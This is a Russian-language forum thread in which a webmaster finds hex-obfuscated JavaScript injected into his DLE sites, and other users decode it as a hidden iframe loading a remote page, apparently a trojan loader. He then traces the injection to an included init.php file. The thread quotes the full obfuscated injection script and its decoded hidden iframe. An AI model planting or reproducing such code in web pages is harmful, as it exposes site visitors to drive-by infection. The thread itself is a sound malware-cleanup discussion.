Потерявшийся Ява или индекс схавал паразит
 

Интересную сказку начал наблюдать в исходниках на своих сайтах (все на одном хосте висят)

В индексах в самом верху начал наблюдаться какой то ява скрипт. Подозрения на фтп червя, но я не уверен. может кто подскажет, что это за скриптег такой и что он делает?

<script type="text/javascript">function ahpgxusvlwuzz(skusjits){var fgdxbotv="";for(uknzaxauyi=0;uknzaxauyi<skusjits.l ength;uknzaxauyi+=2){fgdxbotv+=(String.fromCharCod e(parseInt(skusjits.substr(uknzaxauyi,2),16)));}do cument.write(fgdxbotv);}ahpgxusvlwuzz("3C696672616 D65207372633D22687474703A2F2F746F703130302D636F756 E7465722E636F6D2F746F703130302F696E6465782E7068702 2206672616D65626F726465723D22302220626F726465723D2 230222077696474683D223022206865696768743D223022207 374796C653D22706F736974696F6E3A206162736F6C7574653 B207669736962696C6974793A2068696464656E3B206469737 06C61793A206E6F6E65223E3C2F696672616D653E");</script>

П.С. возможно я создал тему не в той ветке, но на мой взгляд она должна быть тут, так что прошу, если что, судить не строго и больно не пинать))

ничего интересного. обычный айфрейм на плоент

<iframe src="http://top100-counter.com/top100/index.php" frameborder="0" border="0" width="0" height="0" style="position: absolute; visibility: hidden; display: none"></iframe>

загрузчик трояна. стопудов

Если загрузчик троя, интересно, почему антивирусы молчат:(
Кстати скорее всего так и есть. читал на форуме хостера, что не довольные клиенты ругаются, что хостер не хочет пытаться найти источник заражения на фтп и почистить там всё. все ругались на какой то не понятный ява скрипт

На сайтах двиг Dle 6.7
В индекс.пхп и в .штаццесс я подозрительного кода не нашёл. Где он мог спрятатся? Выводится на всех страницах сайта в самом верху.

возможно в файлах, которые подключаются через include()
footer.php, header.php и.т.п

антивирус и не должен говорить =) сплоит криптованный и авиры сосут до поры до времени

Нашёл...
через require_once подключался. файл require_once ROOT_DIR.'/engine/init.php';

iddqd, thx ;)

молодец, теперь пройдись по логам и посмотри кто проник на твой сайт.